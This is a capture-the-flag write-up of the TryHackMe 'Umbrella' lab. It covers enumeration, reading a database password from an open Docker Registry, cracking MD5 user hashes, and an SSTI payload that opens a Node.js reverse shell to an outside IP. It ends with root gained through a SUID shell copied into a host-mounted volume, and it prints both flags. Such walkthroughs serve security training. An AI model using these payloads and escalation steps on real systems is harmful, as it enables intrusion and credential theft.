Post

Umbrella Write-up - TryHackMe

Extracting sensitive information from the Docker Registry and exploiting Server-Side Template Injection.

Umbrella is a medium level boot2root challenge. The goal is to get root access on the machine.

Enumeration

Starting with an nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -sV -T5 -v 10.10.30.25                                                     
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-06 20:35 EDT
Nmap scan report for 10.10.30.25 (10.10.30.25)
Host is up (0.090s latency).
Not shown: 962 closed tcp ports (conn-refused)
PORT      STATE    SERVICE         VERSION
22/tcp    open     ssh             OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
3306/tcp  open     mysql           MySQL 5.7.40
5000/tcp  open     http            Docker Registry (API: 2.0)
8080/tcp  open     http            Node.js (Express middleware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

We have 4 open ports on the machine: Two HTTP ports, SSH and MySQL. Let’s begin by examining the web servers.

Node.js Application

Node.js

It’s a simple login page but there is no way to get in. Let’s check the Docker Registry.

Docker Registry

Docker Registry is a service that stores and distributes Docker images. We can send a GET request to /v2/_catalog to get a list of all the images stored in the registry.

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.30.25:5000/v2/_catalog  
{"repositories":["umbrella/timetracking"]}

We have one image called umbrella/timetracking. Let’s get more information about this image. Check this link for more information about the Docker Registry API.

1
2
3
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.30.25:5000/v2/umbrella/timetracking/tags/list
{"name":"umbrella/timetracking","tags":["latest"]}

Here we have the tag latest. Let’s get the image manifest.

1
2
┌──(kali㉿kali)-[~/Desktop]
└─$ curl 10.10.30.25:5000/v2/umbrella/timetracking/manifests/latest | grep DB_PASS

This will give a huge output. I extracted the important part of the output. Here is it:

1
"{"architecture":"amd64","config":{"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"8080/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","NODE_VERSION=19.3.0","YARN_VERSION=1.22.19","DB_HOST=db","DB_USER=root","DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5","DB_DATABASE=timetracking","LOG_FILE=/logs/tt.log"],"Cmd":["node","app.js"],"Image":"sha256:039f3deb094d2931ed42571037e473a5e2daa6fd1192aa1be80298ed61b110f1","Volumes":null,"WorkingDir":"/usr/src/app","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":null},"container":"527e55a70a337461e3615c779b0ad035e0860201e4745821c5f3bc4dcd7e6ef9","container_config":{"Hostname":"527e55a70a33","Domainname":"","User":"","AttachStdin":false,"AttachStdout":false,"AttachStderr":false,"ExposedPorts":{"8080/tcp":{}},"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","NODE_VERSION=19.3.0","YARN_VERSION=1.22.19","DB_HOST=db","DB_USER=root","DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5","DB_DATABASE=timetracking","LOG_FILE=/logs/tt.log"],"Cmd":["/bin/sh","-c","#(nop) ","CMD [\"node\" \"app.js\"]"],"Image":"sha256:039f3deb094d2931ed42571037e473a5e2daa6fd1192aa1be80298ed61b110f1","Volumes":null,"WorkingDir":"/usr/src/app","Entrypoint":["docker-entrypoint.sh"],"OnBuild":null,"Labels":{}},"created":"2022-12-22T10:03:08.042002316Z","docker_version":"20.10.17","id":"7aec279d6e756678a51a8f075db1f0a053546364bcf5455f482870cef3b924b4","os":"linux","parent":"47c36cf308f072d4b86c63dbd2933d1a49bf7adb87b0e43579d9c7f5e6830ab8","throwaway":true}"

We have the database password Ng1-f3!Pe7-e5?Nf3xe5. Let’s try to login to the MySQL server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/Desktop]
└─$ mysql -u root -h 10.10.30.25 -p  
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 4
Server version: 5.7.40 MySQL Community Server (GPL)
[...]
MySQL [timetracking]> select * from users;
+----------+----------------------------------+-------+
| user     | pass                             | time  |
+----------+----------------------------------+-------+
| claire-r | 2ac9cb7dc02b3c0083eb70898e549b63 |   360 |
| chris-r  | 0d107d09f5bbe40cade3de5c71e9e9b7 |   420 |
| jill-v   | d5c0607301ad5d5c1528962a83992ac8 |   564 |
| barry-b  | 4a04890400b5d7bac101baace5d7e994 | 47893 |
+----------+----------------------------------+-------+

Bingo! Let’s crack the hashes using CrackStation.

1
2
3
4
2ac9cb7dc02b3c0083eb70898e549b63	md5	Password1
0d107d09f5bbe40cade3de5c71e9e9b7	md5	letmein
d5c0607301ad5d5c1528962a83992ac8	md5	sunshine1
4a04890400b5d7bac101baace5d7e994	md5	sandwich

We have successfully retrieved the users’ passwords. Let’s try to login to the Node.js application.

Server-Side Template Injection

SSTI

I noticed that the application might be vulnerable to Server-Side Template Injection. Additionally, we could download the source code of the application from the Docker Registry and check if there is any vulnerability. But this is not necessary. I used this payload to pop a shell:

1
(function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(1234, "10.9.1.64", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/;})();

When I checked the environment variables, there was a variable called LOG_FILE. It points to /logs/tt.log, which is an unusual path for a default Docker file system.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@de0610f51845:/usr/src/app# env
HOSTNAME=de0610f51845
YARN_VERSION=1.22.19
PWD=/usr/src/app
DB_USER=root
HOME=/root
LOG_FILE=/logs/tt.log
DB_HOST=db
SHLVL=1
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NODE_VERSION=19.3.0
DB_DATABASE=timetracking
DB_PASS=Ng1-f3!Pe7-e5?Nf3xe5
_=/usr/bin/env

However, this did not yield any useful information. Need to move on another way.

User Flag

After attempting various methods without success, I decided to check the SSH service. I was able to login with the credentials I found earlier. (claire-r:Password1)

1
2
3
4
5
6
7
8
9
10
11
12
13
claire-r@ctf:~$ ls -lah
total 36K
drwxr-xr-x 4 claire-r claire-r 4.0K Aug  7 01:09 .
drwxr-xr-x 4 root     root     4.0K Dec 22  2022 ..
-rw------- 1 claire-r claire-r   61 Sep 22  2023 .bash_history
-rw-r--r-- 1 claire-r claire-r  220 Dec 22  2022 .bash_logout
-rw-r--r-- 1 claire-r claire-r 3.7K Dec 22  2022 .bashrc
drwx------ 2 claire-r claire-r 4.0K Aug  7 01:09 .cache
-rw-r--r-- 1 claire-r claire-r  807 Dec 22  2022 .profile
drwxrwxr-x 6 claire-r claire-r 4.0K Dec 22  2022 timeTracker-src
-rw-r--r-- 1 claire-r claire-r   38 Dec 22  2022 user.txt
claire-r@ctf:~$ cat user.txt 
THM{d832c0e4cf71312708686124f7a6b25e}

User Flag: THM{d832c0e4cf71312708686124f7a6b25e}.

Privilege Escalation

I checked the timeTracker-src directory and found a docker-compose.yml file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
claire-r@ctf:~$ cat timeTracker-src/docker-compose.yml
version: '3.3'
services:
  db:
    image: mysql:5.7
    restart: always
    environment:
      MYSQL_DATABASE: 'timetracking'
      MYSQL_ROOT_PASSWORD: 'Ng1-f3!Pe7-e5?Nf3xe5'
    ports:
      - '3306:3306'     
    volumes:
      - ./db:/docker-entrypoint-initdb.d
  app:
    image: umbrella/timetracking:latest
    restart: always
    ports:
      - '8080:8080'
    volumes:
      - ./logs:/logs

I noticed that /logs directory is mounted to the host. We could copy a SUID binary from the container to the host and execute it. I am getting back to my container shell and copying the sh binary to the /logs directory with the SUID bit set.

1
root@de0610f51845:/logs# cp /bin/sh /logs/sh && chmod +s /logs/sh

That’s it! Now I can execute the binary and get the root shell.

1
2
3
4
5
6
7
8
9
10
11
claire-r@ctf:~/timeTracker-src/logs$ ls -lah
total 136K
drwxrw-rw- 2 claire-r claire-r 4.0K Aug  7 01:13 .
drwxrwxr-x 6 claire-r claire-r 4.0K Dec 22  2022 ..
-rwsr-sr-x 1 root     root     123K Aug  7 01:13 sh
-rw-r--r-- 1 root     root      361 Aug  7 01:03 tt.log
claire-r@ctf:~/timeTracker-src/logs$ ./sh -p
# whoami   
root
# cat /root/root.txt
THM{1e15fbe7978061c6bb1924124fd9eab2}

Root flag is THM{1e15fbe7978061c6bb1924124fd9eab2}.

That’s it! I rooted the machine.

Conclusion

I liked this machine. Thanks to the creator for this room. Feel free to contact me on Twitter if you have any questions.

This post is licensed under CC BY 4.0 by the author.